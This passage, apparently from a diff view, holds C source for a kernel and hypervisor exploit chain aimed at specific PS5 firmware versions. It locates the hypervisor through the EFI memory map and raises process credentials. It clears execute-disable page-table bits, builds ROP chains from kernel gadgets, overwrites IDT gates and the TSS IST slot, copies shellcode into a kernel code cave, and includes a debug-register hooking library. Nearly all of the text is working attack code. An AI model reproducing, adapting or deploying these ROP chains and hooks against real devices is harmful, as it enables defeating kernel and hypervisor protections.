return 0;
|
||||
|
||||
const uint64_t required[] = {
|
||||
env_offset.ACPIGBL_FACS,
|
||||
env_offset.IDT,
|
||||
env_offset.COMMON_TSS,
|
||||
env_offset.IOMMU_SOFTC,
|
||||
env_offset.FUN_MEMCPY,
|
||||
env_offset.GAD_ADD_RSP_28_POP_RBP_RET,
|
||||
env_offset.GAD_IRETQ,
|
||||
env_offset.GAD_POP_RAX_RET,
|
||||
env_offset.GAD_POP_RDI_RET,
|
||||
env_offset.GAD_POP_RSI_RET,
|
||||
env_offset.GAD_POP_RDX_RET,
|
||||
env_offset.GAD_POP_RCX_RET,
|
||||
env_offset.GAD_POP_RSP_RET,
|
||||
env_offset.KERNEL_CODE_CAVE,
|
||||
env_offset.FUN_PRINTF,
|
||||
env_offset.FUN_HV_IOMMU_SET_BUFFERS,
|
||||
env_offset.FUN_HV_IOMM_WAIT_COMPLETION,
|
||||
env_offset.FUN_SMP_RENDEZVOUS,
|
||||
env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER,
|
||||
env_offset.HV_CODE_CAVE_PA,
|
||||
env_offset.HV_HANDLE_VMEXIT_PA,
|
||||
env_offset.KERNEL_UART_OVERRIDE,
|
||||
env_offset.KERNEL_CFI_CHECK,
|
||||
env_offset.G_VBIOS,
|
||||
env_offset.FUN_TRANSMITTER_CONTROL,
|
||||
env_offset.FUN_MP3_INITIALIZE,
|
||||
env_offset.FUN_MP3_INVOKE,
|
||||
env_offset.PS5_WIFI_FW_OFFSET,
|
||||
env_offset.PS5_WIFI_FW_SIZE,
|
||||
env_offset.HV_MP_STARTUP_CALL,
|
||||
env_offset.MP_STARTUP_INIT_VECTOR,
|
||||
env_offset.DATA_CAVE,
|
||||
env_offset.GAD_PIVOT_ADD_RSP28_RET,
|
||||
env_offset.GAD_POP_R8_RET,
|
||||
env_offset.GAD_STORE_RCX_R8_RET,
|
||||
env_offset.GAD_STORE_RDI8_RCX_RET,
|
||||
env_offset.GAD_OR_RCX_EAX_RET,
|
||||
env_offset.GAD_SET_DR7_RET,
|
||||
env_offset.GAD_STORE_RCX_RDX_RET,
|
||||
env_offset.GAD_STORE_RCX_RAX_RET,
|
||||
env_offset.GAD_MOV_RAX_RSI_RET,
|
||||
env_offset.GAD_MOV_RAX_RDI_RET,
|
||||
env_offset.GAD_REP_MOVSB_RET,
|
||||
env_offset.GAD_CLD_RET,
|
||||
env_offset.GAD_RET_TRAMP,
|
||||
env_offset.GAD_DBREG_RESUME,
|
||||
env_offset.NVS_SIGNATURE,
|
||||
env_offset.HV_EFI_MAP_ROOT,
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(required) / sizeof(required[0]); i++) {
|
||||
if (!required[i])
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int check_nvs_signature(void) {
|
||||
static const uint64_t expected[] = {
|
||||
0x2300,
|
||||
0x200,
|
||||
0x200,
|
||||
0,
|
||||
0x2000,
|
||||
0x800,
|
||||
0x1000,
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(expected) / sizeof(expected[0]); i++) {
|
||||
uint64_t actual;
|
||||
uint64_t address = ktext + env_offset.NVS_SIGNATURE + i * sizeof(actual);
|
||||
|
||||
if (kernel_read(address, &actual, sizeof(actual)) != 0 ||
|
||||
actual != expected[i])
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t derive_h(void) {
|
||||
uint64_t record;
|
||||
|
||||
if (kernel_read(ktext + env_offset.HV_EFI_MAP_ROOT, &record, sizeof(record)) ||
|
||||
!record || (record >> 47) != 0x1FFFF)
|
||||
return 0;
|
||||
|
||||
for (size_t record_index = 0; record_index < 64; record_index++) {
|
||||
uint32_t type;
|
||||
uint32_t data_size;
|
||||
|
||||
if (kernel_read(record, &type, sizeof(type)) ||
|
||||
kernel_read(record + 4, &data_size, sizeof(data_size)))
|
||||
return 0;
|
||||
|
||||
if (!type && !data_size)
|
||||
return 0;
|
||||
if (data_size > 0x10000)
|
||||
return 0;
|
||||
|
||||
if (type == 0x9004) {
|
||||
uint64_t map_size;
|
||||
uint64_t descriptor_size;
|
||||
|
||||
if (kernel_read(record + 8, &map_size, sizeof(map_size)) ||
|
||||
kernel_read(record + 0x10, &descriptor_size, sizeof(descriptor_size)))
|
||||
return 0;
|
||||
|
||||
if (descriptor_size >= 0x28 && descriptor_size <= 0x80 && map_size &&
|
||||
map_size < 0x10000) {
|
||||
uint64_t descriptor_count = map_size / descriptor_size;
|
||||
|
||||
if (descriptor_count > 64)
|
||||
descriptor_count = 64;
|
||||
|
||||
for (uint64_t i = 0; i < descriptor_count; i++) {
|
||||
uint64_t descriptor = record + 0x28 + i * descriptor_size;
|
||||
uint32_t memory_type;
|
||||
uint64_t physical_base;
|
||||
uint64_t pages;
|
||||
|
||||
if (kernel_read(descriptor, &memory_type, sizeof(memory_type)) ||
|
||||
kernel_read(descriptor + 8, &physical_base,
|
||||
sizeof(physical_base)) ||
|
||||
kernel_read(descriptor + 0x18, &pages, sizeof(pages)))
|
||||
return 0;
|
||||
|
||||
if (memory_type == 0 && pages <= (UINT64_MAX >> 12) &&
|
||||
physical_base && physical_base < 0x1000000000) {
|
||||
uint64_t region_size = pages << 12;
|
||||
|
||||
if (region_size > 0x17FFFFF && region_size < 0x4000001)
|
||||
return physical_base;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t advance = ((uint64_t)data_size + 7) & ~7ULL;
|
||||
advance += 8;
|
||||
if (record > UINT64_MAX - advance)
|
||||
return 0;
|
||||
record += advance;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int clear_execute_disable(uint64_t address) {
|
||||
uint64_t table = cr3;
|
||||
|
||||
for (int level = 0; level < 4; level++) {
|
||||
int shift = 39 - level * 9;
|
||||
uint64_t index = (address >> shift) & 0x1FF;
|
||||
uint64_t entry_address = dmap + (table & 0x000FFFFFFFFFF000ULL) + index * 8;
|
||||
uint64_t entry;
|
||||
|
||||
if (kernel_read(entry_address, &entry, sizeof(entry)) || !(entry & 1))
|
||||
return -1;
|
||||
|
||||
if (entry & (1ULL << 63)) {
|
||||
entry &= ~(1ULL << 63);
|
||||
if (kernel_write(entry_address, &entry, sizeof(entry)))
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (((level == 1 || level == 2) && (entry & 0x80)) || level == 3)
|
||||
return 0;
|
||||
|
||||
table = entry & 0x000FFFFFFFFFF000ULL;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int build_sx_rop(uint64_t ist, size_t shellcode_kernel_len) {
|
||||
uint64_t rop[] = {
|
||||
ktext + env_offset.GAD_POP_RCX_RET,
|
||||
dmap + 0xC0115110,
|
||||
ktext + env_offset.GAD_POP_RAX_RET,
|
||||
0x200,
|
||||
ktext + env_offset.GAD_OR_RCX_EAX_RET,
|
||||
ktext + env_offset.GAD_POP_RCX_RET,
|
||||
dmap + 0xC1010104,
|
||||
ktext + env_offset.GAD_POP_RAX_RET,
|
||||
0x53,
|
||||
ktext + env_offset.GAD_OR_RCX_EAX_RET,
|
||||
ktext + env_offset.GAD_POP_RDI_RET,
|
||||
ktext + env_offset.KERNEL_CODE_CAVE,
|
||||
ktext + env_offset.GAD_POP_RSI_RET,
|
||||
kernel_cave_shellcode,
|
||||
ktext + env_offset.GAD_POP_RDX_RET,
|
||||
shellcode_kernel_len,
|
||||
ktext + env_offset.FUN_MEMCPY,
|
||||
ktext + env_offset.GAD_POP_RCX_RET,
|
||||
dmap + 0xC1010104,
|
||||
ktext + env_offset.GAD_POP_RAX_RET,
|
||||
0x4D,
|
||||
ktext + env_offset.GAD_OR_RCX_EAX_RET,
|
||||
ktext + env_offset.KERNEL_CODE_CAVE,
|
||||
};
|
||||
|
||||
return kernel_write(ist + 0x1000, rop, sizeof(rop));
|
||||
}
|
||||
|
||||
static int setidt(int index, uint64_t function, int type, int dpl, int ist) {
|
||||
struct gate_descriptor descriptor = {};
|
||||
|
||||
descriptor.gd_looffset = function;
|
||||
descriptor.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
descriptor.gd_ist = ist;
|
||||
descriptor.gd_xx = 0;
|
||||
descriptor.gd_type = type;
|
||||
descriptor.gd_dpl = dpl;
|
||||
descriptor.gd_p = 1;
|
||||
descriptor.gd_hioffset = function >> 16;
|
||||
|
||||
return kernel_write(ktext + env_offset.IDT +
|
||||
index * sizeof(struct gate_descriptor),
|
||||
&descriptor, sizeof(descriptor));
|
||||
}
|
||||
|
||||
static int pin_to_core_reborn(int core) {
|
||||
cpusetid_t cpuset_id;
|
||||
uint64_t cpuset_affinity[2] = {0xFFFF, 0};
|
||||
uint64_t affinity[2];
|
||||
if (core < 0 || core >= 16)
|
||||
return -1;
|
||||
if (cpuset(&cpuset_id))
|
||||
return -1;
|
||||
|
||||
cpuset_setaffinity(3, 3, cpuset_id, sizeof(uint64_t),
|
||||
(const cpuset_t *)cpuset_affinity);
|
||||
affinity[0] = 1ULL << (15 - core);
|
||||
affinity[1] = 0;
|
||||
return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)affinity);
|
||||
}
|
||||
|
||||
static int install_startup_hook(uint64_t hv_region, uint64_t hv_base) {
|
||||
khook_t hook;
|
||||
kh_chain_t chain;
|
||||
uint8_t chain_buffer[0x800];
|
||||
uint64_t data_cave = ktext + env_offset.DATA_CAVE;
|
||||
uint64_t carrier = dmap + CARRIER_PA;
|
||||
uint64_t oracle;
|
||||
uint64_t heap_pointer_slot = hv_base + HV_HEAP_POINTER_OFFSET;
|
||||
uint64_t pcpus_pointer_slot = hv_base + HV_PCPUS_POINTER_OFFSET;
|
||||
int result;
|
||||
|
||||
if (kernel_write(data_cave + 0x1000, stock_shellcode_ap_1360,
|
||||
stock_shellcode_ap_1360_len))
|
||||
return -1;
|
||||
|
||||
result = kh_init(&hook, kernel_read, kernel_write, ktext, data_cave, 6);
|
||||
if (result)
|
||||
return result;
|
||||
|
||||
hook.tss_stride = 0x68;
|
||||
kh_set_tables(&hook, ktext + env_offset.IDT, ktext + env_offset.COMMON_TSS);
|
||||
kh_set_core(&hook, 0);
|
||||
hook.oneshot = env_offset.GAD_SET_DR7_RET != 0;
|
||||
kh_set_hook_target(&hook, ktext + env_offset.HV_MP_STARTUP_CALL);
|
||||
kh_set_resume_rsi(&hook, carrier);
|
||||
kh_set_resume_rdx(&hook, cr3);
|
||||
|
||||
oracle = kh_user_data_addr(&hook);
|
||||
kh_chain_init(&chain, chain_buffer, sizeof(chain_buffer));
|
||||
kh_chain_store(&chain, oracle, 0);
|
||||
kh_chain_memcpy(&chain, carrier, data_cave + 0x1000, 0xF00);
|
||||
kh_chain_store(&chain, carrier + 0xF00,
|
||||
ktext + env_offset.MP_STARTUP_INIT_VECTOR);
|
||||
kh_chain_store(&chain, carrier + 0xF08, dmap);
|
||||
kh_chain_store(&chain, carrier + 0xF10, oracle);
|
||||
kh_chain_store(&chain, carrier + 0xF18, hv_region);
|
||||
kh_chain_store(&chain, carrier + 0xF20, heap_pointer_slot);
|
||||
kh_chain_store(&chain, carrier + 0xF28, pcpus_pointer_slot);
|
||||
kh_chain_store(&chain, carrier + 0xF30, 1);
|
||||
|
||||
if (chain.err || clear_execute_disable(carrier))
|
||||
return -1;
|
||||
|
||||
result = kh_install(&hook, &chain);
|
||||
if (result)
|
||||
return result;
|
||||
|
||||
kh_trigger(&hook);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int hv_defeat_13xx(void *shellcode_kernel, size_t shellcode_kernel_len) {
|
||||
uint64_t hv_region;
|
||||
uint64_t hv_base;
|
||||
uint64_t ist_pa;
|
||||
uint64_t ist;
|
||||
uint64_t ist7;
|
||||
uint64_t waking_vector;
|
||||
int result;
|
||||
|
||||
if ((fw != 0x1300 && fw != 0x1320 && fw != 0x1360) || !shellcode_kernel ||
|
||||
!shellcode_kernel_len || !offsets_present()) {
|
||||
if (fw == 0x1360)
|
||||
notify("13.60 offsets incomplete\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (check_nvs_signature()) {
|
||||
if (fw == 0x1360)
|
||||
notify("13.60 firmware signature check failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
hv_region = derive_h();
|
||||
if (!hv_region) {
|
||||
if (fw == 0x1360)
|
||||
notify("13.60 hypervisor base was not found\n");
|
||||
return -1;
|
||||
}
|
||||
hv_base = hv_region + (linux_i.kit_type == KIT_RETAIL_PRO
|
||||
? HV_CODE_OFFSET_PRO
|
||||
: 0);
|
||||
|
||||
kernel_set_ucred_authid(getpid(), 0x4800000000000007ULL);
|
||||
result = pin_to_core_reborn(0);
|
||||
if (result) {
|
||||
if (fw == 0x1360)
|
||||
notify("13.60 core pin failed (%d)\n", result);
|
||||
return -1;
|
||||
}
|
||||
|
||||
result = install_startup_hook(hv_region, hv_base);
|
||||
if (result) {
|
||||
if (fw == 0x1360)
|
||||
notify("13.60 startup hook failed (%d)\n", result);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ist_pa = alloc_page();
|
||||
if (!ist_pa)
|
||||
return -1;
|
||||
ist = pa_to_dmap(ist_pa);
|
||||
if (build_sx_rop(ist, shellcode_kernel_len))
|
||||
return -1;
|
||||
|
||||
ist7 = ist + 0x1000;
|
||||
result = kernel_write(ktext + env_offset.COMMON_TSS +
|
||||
offsetof(struct amd64tss, tss_ist7),
|
||||
&ist7, sizeof(ist7));
|
||||
if (result ||
|
||||
setidt(0x0D, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, 0xE, 0, 7) ||
|
||||
setidt(0x1E, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, 0xE, 0, 7))
|
||||
return -1;
|
||||
|
||||
waking_vector = ktext + env_offset.ACPIGBL_FACS - 8;
|
||||
return kernel_write(ktext + env_offset.ACPIGBL_FACS, &waking_vector,
|
||||
sizeof(waking_vector));
|
||||
}
|
||||
+551
@@ -0,0 +1,551 @@
|
||||
#include "khook.h"
|
||||
|
||||
static int kwrite_q(khook_t *kh, uint64_t addr, uint64_t val)
|
||||
{
|
||||
return kh->write(addr, &val, 8);
|
||||
}
|
||||
|
||||
static uint64_t kread_q(khook_t *kh, uint64_t addr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
kh->read(addr, &val, 8);
|
||||
return val;
|
||||
}
|
||||
|
||||
static size_t putq(uint8_t *buf, size_t off, uint64_t val)
|
||||
{
|
||||
for (int i = 0; i < 8; i++)
|
||||
buf[off + i] = (uint8_t)(val >> (8 * i));
|
||||
return off + 8;
|
||||
}
|
||||
|
||||
static void gate_encode(uint64_t off, uint16_t sel, uint8_t ist, uint8_t type, uint8_t dpl, int present, uint64_t *lo, uint64_t *hi)
|
||||
{
|
||||
*lo = (off & 0xFFFF)
|
||||
| ((uint64_t)sel << 16)
|
||||
| ((uint64_t)(ist & 7) << 32)
|
||||
| ((uint64_t)(type & 0xF) << 40)
|
||||
| ((uint64_t)(dpl & 3) << 45)
|
||||
| ((uint64_t)(present ? 1 : 0) << 47)
|
||||
| (((off >> 16) & 0xFFFF) << 48);
|
||||
*hi = (off >> 32) & 0xFFFFFFFFULL;
|
||||
}
|
||||
|
||||
static int probe_write(khook_t *kh, uint64_t addr)
|
||||
{
|
||||
uint64_t save = kread_q(kh, addr);
|
||||
uint64_t test = save ^ 0xA5A5A5A5A5A5A5A5ULL;
|
||||
kwrite_q(kh, addr, test);
|
||||
uint64_t readback = kread_q(kh, addr);
|
||||
kwrite_q(kh, addr, save);
|
||||
return readback == test;
|
||||
}
|
||||
|
||||
static uint64_t ist_slot_va(const khook_t *kh)
|
||||
{
|
||||
return kh->tss_base + (uint64_t)kh->core_id * kh->tss_stride + KH_TSS_IST(kh->ist_index);
|
||||
}
|
||||
|
||||
void kh_chain_init(kh_chain_t *chain, uint8_t *buf, size_t cap)
|
||||
{
|
||||
chain->buf = buf;
|
||||
chain->cap = cap;
|
||||
chain->len = 0;
|
||||
chain->err = 0;
|
||||
}
|
||||
|
||||
int kh_chain_q(kh_chain_t *chain, uint64_t raw)
|
||||
{
|
||||
if (!chain || chain->err || chain->len + 8 > chain->cap) {
|
||||
if (chain)
|
||||
chain->err = 1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
putq(chain->buf, chain->len, raw);
|
||||
chain->len += 8;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int kh_chain_g(kh_chain_t *chain, kgadget_t gadget)
|
||||
{
|
||||
uint64_t address = kgadget(gadget);
|
||||
if (!address) {
|
||||
if (chain)
|
||||
chain->err = 1;
|
||||
return -1;
|
||||
}
|
||||
return kh_chain_q(chain, address);
|
||||
}
|
||||
|
||||
int kh_chain_store(kh_chain_t *chain, uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
if (kgadget(KERNEL_GADGET_POP_R8) &&
|
||||
kgadget(KERNEL_GADGET_STORE_RCX_R8)) {
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
||||
kh_chain_q(chain, kaddr);
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_R8);
|
||||
kh_chain_q(chain, val);
|
||||
kh_chain_g(chain, KERNEL_GADGET_STORE_RCX_R8);
|
||||
} else {
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
||||
kh_chain_q(chain, kaddr);
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RAX);
|
||||
kh_chain_q(chain, val);
|
||||
kh_chain_g(chain, KERNEL_GADGET_ST_RCX_RAX);
|
||||
}
|
||||
return chain && !chain->err ? 0 : -1;
|
||||
}
|
||||
|
||||
int kh_chain_memcpy(kh_chain_t *chain, uint64_t dst_kaddr, uint64_t src_kaddr, uint64_t n_bytes)
|
||||
{
|
||||
kh_chain_g(chain, KERNEL_GADGET_CLD);
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RDI);
|
||||
kh_chain_q(chain, dst_kaddr);
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RSI);
|
||||
kh_chain_q(chain, src_kaddr);
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
||||
kh_chain_q(chain, n_bytes);
|
||||
kh_chain_g(chain, KERNEL_GADGET_REP_MOVSB);
|
||||
return chain && !chain->err ? 0 : -1;
|
||||
}
|
||||
|
||||
int kh_chain_call(kh_chain_t *chain, uint64_t fn_kaddr, int argc, uint64_t a0, uint64_t a1, uint64_t a2)
|
||||
{
|
||||
if (argc >= 1) {
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RDI);
|
||||
kh_chain_q(chain, a0);
|
||||
}
|
||||
if (argc >= 2) {
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RSI);
|
||||
kh_chain_q(chain, a1);
|
||||
}
|
||||
if (argc >= 3) {
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RDX);
|
||||
kh_chain_q(chain, a2);
|
||||
}
|
||||
kh_chain_g(chain, KERNEL_GADGET_POP_RAX);
|
||||
kh_chain_q(chain, 0);
|
||||
kh_chain_q(chain, fn_kaddr);
|
||||
return chain && !chain->err ? 0 : -1;
|
||||
}
|
||||
|
||||
int kh_init(khook_t *kh, kh_read_fn rd, kh_write_fn wr, uint64_t kernel_base, uint64_t scratch_base, int ist_index)
|
||||
{
|
||||
if (!kh || !rd || !wr || !kernel_base || !scratch_base)
|
||||
return -1;
|
||||
if (scratch_base & 0xF)
|
||||
return -2;
|
||||
if (ist_index < 1 || ist_index > 7)
|
||||
return -3;
|
||||
|
||||
for (unsigned i = 0; i < sizeof(*kh); i++)
|
||||
((uint8_t *)kh)[i] = 0;
|
||||
|
||||
kh->read = rd;
|
||||
kh->write = wr;
|
||||
kh->kernel_base = kernel_base;
|
||||
kh->scratch_base = scratch_base;
|
||||
kh->ist_index = ist_index;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void kh_set_hook_target(khook_t *kh, uint64_t kaddr) {
|
||||
if (kh)
|
||||
kh->hook_kaddr = kaddr;
|
||||
}
|
||||
void kh_set_resume_rip(khook_t *kh, uint64_t kaddr) {
|
||||
if (kh)
|
||||
kh->resume_rip = kaddr;
|
||||
}
|
||||
void kh_set_resume_skip(khook_t *kh, uint64_t skip) {
|
||||
if (kh)
|
||||
kh->resume_rip = skip ? kh->hook_kaddr + skip : 0;
|
||||
}
|
||||
|
||||
void kh_set_resume_rax(khook_t *kh, uint64_t rax) {
|
||||
if (kh) {
|
||||
kh->resume_rax = rax;
|
||||
kh->resume_rax_set = 1;
|
||||
}
|
||||
}
|
||||
|
||||
void kh_set_resume_rsi(khook_t *kh, uint64_t rsi) {
|
||||
if (kh) {
|
||||
kh->resume_rsi = rsi;
|
||||
kh->resume_rsi_set = 1;
|
||||
}
|
||||
}
|
||||
|
||||
void kh_set_resume_rdi(khook_t *kh, uint64_t rdi) {
|
||||
if (kh) {
|
||||
kh->resume_rdi = rdi;
|
||||
kh->resume_rdi_set = 1;
|
||||
}
|
||||
}
|
||||
|
||||
void kh_set_resume_rdx(khook_t *kh, uint64_t rdx) {
|
||||
if (kh) {
|
||||
kh->resume_rdx = rdx;
|
||||
kh->resume_rdx_set = 1;
|
||||
}
|
||||
}
|
||||
|
||||
void kh_clear_resume_rax(khook_t *kh) {
|
||||
if (kh)
|
||||
kh->resume_rax_set = 0;
|
||||
}
|
||||
|
||||
void kh_clear_resume_rsi(khook_t *kh) {
|
||||
if (kh)
|
||||
kh->resume_rsi_set = 0;
|
||||
}
|
||||
|
||||
void kh_clear_resume_rdi(khook_t *kh) {
|
||||
if (kh)
|
||||
kh->resume_rdi_set = 0;
|
||||
}
|
||||
|
||||
void kh_clear_resume_rdx(khook_t *kh) {
|
||||
if (kh)
|
||||
kh->resume_rdx_set = 0;
|
||||
}
|
||||
|
||||
void kh_set_tables(khook_t *kh, uint64_t idt_base, uint64_t tss_base) {
|
||||
if (kh) {
|
||||
kh->idt_base = idt_base;
|
||||
kh->tss_base = tss_base;
|
||||
}
|
||||
}
|
||||
|
||||
void kh_set_core(khook_t *kh, int core_id) {
|
||||
if (kh)
|
||||
kh->core_id = core_id;
|
||||
}
|
||||
|
||||
uint64_t kh_user_data_addr(const khook_t *kh) {
|
||||
return kh ? kh->scratch_base + KH_OFF_USER : 0;
|
||||
}
|
||||
|
||||
uint64_t kh_find_cave(khook_t *kh, uint64_t start, uint64_t len, size_t need)
|
||||
{
|
||||
uint8_t buf[0x1000];
|
||||
uint64_t run = 0, run_start = 0;
|
||||
|
||||
if (!kh)
|
||||
return 0;
|
||||
if (!need)
|
||||
need = KH_SCRATCH_MIN;
|
||||
|
||||
need += 16;
|
||||
|
||||
for (uint64_t off = 0; off < len; off += sizeof buf) {
|
||||
size_t chunk = (len - off < sizeof buf) ? (size_t)(len - off) : sizeof buf;
|
||||
if (kh->read(start + off, buf, chunk) != 0) {
|
||||
run = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < chunk; i++) {
|
||||
if (buf[i] != 0) {
|
||||
run = 0;
|
||||
continue;
|
||||
}
|
||||
if (run == 0)
|
||||
run_start = start + off + i;
|
||||
if (++run >= need)
|
||||
return (run_start + 0xF) & ~0xFULL;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static size_t emit_resume_tail(khook_t *kh, uint8_t *buf, size_t off,
|
||||
uint64_t frame_base, uint64_t rflags_slot, uint64_t iret_tramp)
|
||||
{
|
||||
if (kh->resume_rip) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(buf, off, frame_base);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_R8));
|
||||
off = putq(buf, off, kh->resume_rip);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_STORE_RCX_R8));
|
||||
}
|
||||
|
||||
if (kh->oneshot) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
||||
off = putq(buf, off, 0);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_SET_DR7));
|
||||
} else {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(buf, off, rflags_slot);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
||||
off = putq(buf, off, KH_RF);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_OR_RCX_EAX));
|
||||
}
|
||||
|
||||
if (kh->resume_rax_set) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
||||
off = putq(buf, off, kh->resume_rax);
|
||||
}
|
||||
if (kh->resume_rsi_set) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RSI));
|
||||
off = putq(buf, off, kh->resume_rsi);
|
||||
}
|
||||
if (kh->resume_rdi_set) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RDI));
|
||||
off = putq(buf, off, kh->resume_rdi);
|
||||
}
|
||||
if (kh->resume_rdx_set) {
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RDX));
|
||||
off = putq(buf, off, kh->resume_rdx);
|
||||
}
|
||||
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RSP));
|
||||
off = putq(buf, off, iret_tramp);
|
||||
return off;
|
||||
}
|
||||
|
||||
int kh_install(khook_t *kh, const kh_chain_t *handler)
|
||||
{
|
||||
uint8_t img[KH_SCRATCH_MIN];
|
||||
uint8_t bigbuf[0x600];
|
||||
uint64_t scratch, arm_chain, disp_chain, big;
|
||||
uint64_t frame_base, rflags_slot, iret_tramp;
|
||||
size_t iret_tramp_off, save_len, handler_len, restore_off, off;
|
||||
uint64_t slot_rdi, slot_rsi, slot_rdx;
|
||||
uint64_t db_gate, ist, lo, hi;
|
||||
|
||||
if (!kh || kh->installed)
|
||||
return -1;
|
||||
if (!kh->hook_kaddr)
|
||||
return -2;
|
||||
if (handler && handler->err)
|
||||
return -11;
|
||||
if (!kh->idt_base || !kh->tss_base)
|
||||
return -3;
|
||||
|
||||
db_gate = kh->idt_base + 16 * KH_VEC_DB;
|
||||
ist = ist_slot_va(kh);
|
||||
|
||||
kh->saved_gate_lo = kread_q(kh, db_gate);
|
||||
kh->saved_gate_hi = kread_q(kh, db_gate + 8);
|
||||
kh->saved_ist = kread_q(kh, ist);
|
||||
kh->kcs = (uint16_t)(kh->saved_gate_lo >> 16);
|
||||
if (!kh->kcs)
|
||||
return -4;
|
||||
|
||||
{
|
||||
uint64_t gate_handler = (kh->saved_gate_lo & 0xFFFF)
|
||||
| (((kh->saved_gate_lo >> 48) & 0xFFFF) << 16)
|
||||
| ((kh->saved_gate_hi & 0xFFFFFFFFULL) << 32);
|
||||
if (!((kh->saved_gate_lo >> 47) & 1))
|
||||
return -14;
|
||||
|
||||
if (gate_handler < kh->kernel_base ||
|
||||
gate_handler >= kh->kernel_base + KH_KIMG_MAX)
|
||||
return -14;
|
||||
}
|
||||
|
||||
|
||||
if ((kread_q(kh, kh->tss_base + (uint64_t)kh->core_id * kh->tss_stride + 0x04) >> 47) != 0x1FFFFULL)
|
||||
return -15;
|
||||
|
||||
scratch = kh->scratch_base;
|
||||
arm_chain = scratch + KH_OFF_CHAIN_ARM;
|
||||
disp_chain = scratch + KH_OFF_CHAIN_DISP;
|
||||
|
||||
frame_base = disp_chain - 0x28;
|
||||
rflags_slot = frame_base + 0x10;
|
||||
iret_tramp = frame_base - 8;
|
||||
iret_tramp_off = KH_OFF_CHAIN_DISP - 0x28 - 8;
|
||||
|
||||
for (size_t i = 0; i < sizeof img; i++)
|
||||
img[i] = 0;
|
||||
|
||||
{
|
||||
uint64_t ctx_struct = scratch + KH_OFF_RESUME;
|
||||
uint64_t cont_chain = scratch + KH_OFF_CHAIN_CONT;
|
||||
|
||||
off = KH_OFF_CHAIN_ARM;
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RAX));
|
||||
off = putq(img, off, kh->hook_kaddr);
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RDI));
|
||||
off = putq(img, off, ctx_struct);
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_DBREG_RESUME));
|
||||
if (off > KH_OFF_CHAIN_CONT)
|
||||
return -5;
|
||||
|
||||
|
||||
putq(img, KH_OFF_RESUME + KH_RC_RSP, cont_chain - 8);
|
||||
putq(img, KH_OFF_RESUME + KH_RC_RIP, kgadget(KERNEL_GADGET_RET_TRAMP));
|
||||
putq(img, KH_OFF_RESUME + KH_RC_DR7, KH_DR7_BP0_EXEC);
|
||||
|
||||
off = KH_OFF_CHAIN_CONT;
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RDI));
|
||||
off = putq(img, off, ist - 8);
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(img, off, disp_chain);
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_STORE_RDI8_RCX));
|
||||
off = putq(img, off, kgadget(KERNEL_GADGET_IRETQ));
|
||||
|
||||
kh->arm_rip_slot = scratch + off;
|
||||
off = putq(img, off, 0);
|
||||
off = putq(img, off, KH_USER_CS);
|
||||
off = putq(img, off, KH_RFLAGS_USER);
|
||||
kh->arm_rsp_slot = scratch + off;
|
||||
off = putq(img, off, 0);
|
||||
off = putq(img, off, KH_USER_SS);
|
||||
if (off > KH_OFF_RESUME)
|
||||
return -5;
|
||||
}
|
||||
|
||||
big = scratch + KH_OFF_BIG_CHAIN;
|
||||
if (!probe_write(kh, big))
|
||||
return -16;
|
||||
|
||||
putq(img, iret_tramp_off, kgadget(KERNEL_GADGET_IRETQ));
|
